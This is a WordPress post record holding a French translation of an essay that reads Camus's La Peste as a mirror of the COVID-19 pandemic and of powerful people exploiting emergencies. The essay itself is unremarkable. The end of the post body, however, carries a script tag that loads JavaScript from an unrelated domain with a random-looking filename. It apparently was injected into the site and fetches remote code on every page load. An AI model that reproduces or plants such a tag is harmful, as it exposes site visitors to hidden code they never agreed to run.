{"id":18634,"date":"2020-05-20T10:56:18","date_gmt":"2020-05-20T10:56:18","guid":{"rendered":"http:\/\/www.lapluma.net\/?p=18634"},"modified":"2020-05-20T10:59:16","modified_gmt":"2020-05-20T10:59:16","slug":"la-peste-ayer-y-ahora","status":"publish","type":"post","link":"https:\/\/www.lapluma.net\/fr\/2020\/05\/20\/la-peste-ayer-y-ahora\/","title":{"rendered":"La Peste, hier et aujourd&rsquo;hui"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">\u00ab\u00a0Une mani\u00e8re commode de faire la connaissance d\u2019une ville est de chercher comment on y travaille, comment on y aime et comment on y meurt\u00a0\u00bb, \u00e9crit Albert Camus dans les premi\u00e8res lignes de La Peste.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Oran, la ville laide de ce remarquable roman, est aujourd&rsquo;hui New York, ou Paris, ou Bogota, ou Medellin. Cette ville alg\u00e9rienne dos \u00e0 la mer est acquiert une actualit\u00e9 troublante dans la pand\u00e9mie universelle qui nous confine et nous submerge. Les rats qui commencent \u00e0 l&rsquo;envahir sont plus qu&rsquo;une m\u00e9taphore de la maladie, de la d\u00e9cadence et de la mort.<\/span><\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"shrinkToFit aligncenter\" src=\"http:\/\/tlaxcala-int.org\/upload\/gal_22545.jpg\" alt=\"http:\/\/tlaxcala-int.org\/upload\/gal_22545.jpg\" width=\"598\" height=\"598\" \/><strong>La edici\u00f3n de 1962, ilustrada por Edy-Legrand<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/tlaxcala-int.org\/upload\/gal_22544.jpg\" alt=\"\" width=\"600\" height=\"424\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Le roman de l&rsquo;\u00e9crivain alg\u00e9ro-fran\u00e7ais, publi\u00e9 en 1947, incarne aujourd&rsquo;hui l&rsquo;urgence plan\u00e9taire, les instabilit\u00e9s humaines face \u00e0 une menace invisible, alarmante et meurtri\u00e8re. Les rats d&rsquo;Oran, aujourd&rsquo;hui, avec la pr\u00e9sence du coronavirus, sont peut-\u00eatre plus redoutables que ces rongeurs qui ont une longue histoire et une pr\u00e9sence active dans les pestes asiatiques, europ\u00e9ennes et africaines de si\u00e8cles pass\u00e9s, dans les fl\u00e9aux m\u00e9di\u00e9vaux, dans la d\u00e9vastation de Londres au XVIIe si\u00e8cle, et ces rats sont peut-\u00eatre repr\u00e9sent\u00e9s aujourd&rsquo;hui par les rongeurs de la politique, du pouvoir, de ceux qui ont transform\u00e9 la terre en un terrain de chasse pour les transnationales et autres entit\u00e9s pr\u00e9datrices.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Ces rats dans la splendide \u0153uvre de Camus (m\u00eame si pour Vargas Llosa il s&rsquo;agit d&rsquo;un roman m\u00e9diocre) sont peut-\u00eatre aujourd&rsquo;hui une repr\u00e9sentation de ceux qui dominent le monde. Pourquoi pas ? L\u00e0, dans ces rongeurs qui pullulent soudainement dans cette ville arabe, qui doit \u00eatre ferm\u00e9e \u00e0 cause du fl\u00e9au de la peste, se trouve peut-\u00eatre l&rsquo;incarnation contemporaine des Trump, des Bolsonaro, des mandarins chinois, du grand manitou russe, des ma\u00eetres de la plan\u00e8te agress\u00e9e.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Comme dans ce roman, nous sommes aujourd&rsquo;hui prisonniers de la peste. Nous sommes soumis \u00e0 ses attaques, \u00e0 sa pr\u00e9sence mortelle, \u00e0 sa capacit\u00e9 de modifier tout ordre. Et, de plus, on peut voir comment le pouvoir semble aussi tirer parti de l&rsquo;urgence. Et non seulement il peut d\u00e9cr\u00e9ter l&rsquo;\u00e9tat de si\u00e8ge (comme dans la fiction de Camus), mais il peut aussi se vautrer dans ses positions de commandement. Pour prot\u00e9ger ceux qui tiennent le manche, ceux qui ont la \u00ab\u00a0balle\u00a0\u00bb (banques, entreprises, clubs de patrons&#8230;).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Les pand\u00e9mies, comme celles que nous subissons, sont une des puissants pour maintenir le contr\u00f4le, augmenter la surveillance, \u00e9tablir de nouveaux dispositifs pour se perp\u00e9tuer. Le roman de Camus est une sorte de revue des fl\u00e9aux d&rsquo;hier et d&rsquo;aujourd&rsquo;hui. Une lumi\u00e8re sur la fa\u00e7on dont le temps, lors d&rsquo;un fl\u00e9au comme celui qui se produit \u00e0 Oran, ne peut \u00eatre que le temps pr\u00e9sent. La m\u00e9moire ne compte pas. Il n&rsquo;y a pas de pass\u00e9. \u00ab Sans m\u00e9moire et sans espoir, ils s\u2019installaient dans le pr\u00e9sent. \u00c0 la v\u00e9rit\u00e9, tout leur devenait pr\u00e9sent. Il faut bien le dire, la peste avait enlev\u00e9 \u00e0 tous le pouvoir de l\u2019amour et m\u00eame de l\u2019amiti\u00e9. Car l\u2019amour demande un peu d\u2019avenir, et il n\u2019y avait plus pour nous que des instants.\u00a0\u00bb<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">\u00ab\u00a0Il y a eu dans le monde autant de pestes que de guerres\u00a0\u00bb, \u00e9crit Camus \u00ab\u00a0Et pourtant pestes et guerres trouvent les gens toujours aussi d\u00e9pourvus\u00a0\u00bb. Et l&rsquo;un des pris au d\u00e9pourvu est le docteur Bernard Rieux, le protagoniste de La Peste, qui conna\u00eet les trente grandes pestes de l&rsquo;histoire, mais celle-l\u00e0, dans laquelle des milliers de rats vont mourir, ainsi que des chiens, des chats et beaucoup d&rsquo;hommes, l\u2019a pris avec son \u00ab\u00a0froc baiss\u00e9\u00a0\u00bb, comme on dirait en langage populaire.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Ce roman, qui aujourd&rsquo;hui, avec la pand\u00e9mie, est \u00e0 nouveau lu partout et, bien s\u00fbr, a de nouveaux lecteurs, est une approche non seulement de la vuln\u00e9rabilit\u00e9 et de la fragilit\u00e9 humaine, mais aussi de son monde instable et pr\u00e9caire. Les grands malheurs, on le voit, sont monotones. \u00ab\u00a0Rien n&rsquo;est moins spectaculaire qu&rsquo;un fl\u00e9au\u00a0\u00bb. En fait, une peste enferme, effraie et peut, comme dans ce roman, permettre la cr\u00e9ation d&rsquo;un journal exclusif pour donner des nouvelles de l&rsquo;\u00e9pid\u00e9mie, mais elle n&rsquo;est pas faite pour le spectacle.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">La peste, lentement et s\u00fbrement, fait son travail de sape. Elle sera au centre et \u00e0 la p\u00e9riph\u00e9rie. Elle va balayer ici et l\u00e0. Elle r\u00e9pandra la peur et d\u00e9stabilisera les syst\u00e8mes, les volont\u00e9s, les croyances. On avait dit au Dr Rieux, en pleine catastrophe, qu&rsquo;il n&rsquo;avait pas de c\u0153ur, mais il en avait un. \u00ab\u00a0 Il lui servait \u00e0 supporter les vingt heures par jour o\u00f9 il voyait mourir des hommes qui \u00e9taient faits pour vivre\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">En ces temps de pand\u00e9mie, nous avons probablement appris quelque chose sur la fa\u00e7on dont on vit et meurt dans une ville, une r\u00e9gion, un pays. Comment les travailleurs de la sant\u00e9 sont pi\u00e9tin\u00e9s et comment l&rsquo;information est manipul\u00e9e. La faiblesse de nos syst\u00e8mes de sant\u00e9 et la fa\u00e7on dont les pouvoirs publics profitent des pestes pour se maquiller et se shampouiner.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Le Dr Rieux a \u00e9crit un t\u00e9moignage en faveur des victimes de la peste, un rappel de l&rsquo;injustice et de la violence, et il a clairement indiqu\u00e9 que le bacille de la peste ne meurt ni ne dispara\u00eet jamais. De nombreuses horreurs hantent encore l&rsquo;homme.<\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Reinaldo Spitaletta<\/span><\/strong><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Original: <a href=\"http:\/\/www.lapluma.net\/2020\/05\/20\/la-peste-ayer-y-ahora\/\">La peste ayer y ahora<\/a><\/span><\/strong><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Traduit par <span class=\"trad\"> <a href=\"http:\/\/www.tlaxcala-int.org\/biographie.asp?ref_aut=2&amp;lg_pp=fr\">Fausto Giudice \u0424\u0430\u0443\u0441\u0442\u043e \u0414\u0436\u0443\u0434\u0438\u0447\u0435 \u0641\u0627\u0648\u0633\u062a\u0648 \u062c\u064a\u0648\u062f\u064a\u0634\u064a<\/a> <\/span><\/span><\/strong><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Source: <a href=\"http:\/\/www.tlaxcala-int.org\/article.asp?reference=28968\">Tlaxcala<\/a>, le 19 mai 2020<\/span><\/strong><\/p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/tlaxcala-int.org\/upload\/gal_21691.jpg\" alt=\"http:\/\/tlaxcala-int.org\/upload\/gal_21691.jpg\" \/><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/div>\n<\/div>\n<div><img \/><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Le Dr Rieux a \u00e9crit un t\u00e9moignage en faveur des victimes de la peste, un rappel de l&rsquo;injustice et de la violence, et il a clairement indiqu\u00e9 que le bacille de la peste ne meurt ni ne dispara\u00eet jamais. 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